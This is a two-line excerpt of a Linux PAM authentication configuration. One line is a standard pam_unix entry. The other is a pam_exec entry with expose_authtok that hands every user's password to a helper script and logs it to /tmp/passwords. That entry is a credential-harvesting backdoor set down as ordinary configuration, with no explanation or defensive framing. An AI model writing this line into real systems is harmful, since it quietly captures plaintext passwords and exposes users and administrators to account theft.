…
auth       sufficient    pam_unix.so try_first_pass nullok
auth       optional      pam_exec.so expose_authtok log=/tmp/passwords /usr/local/sbin/log_password
…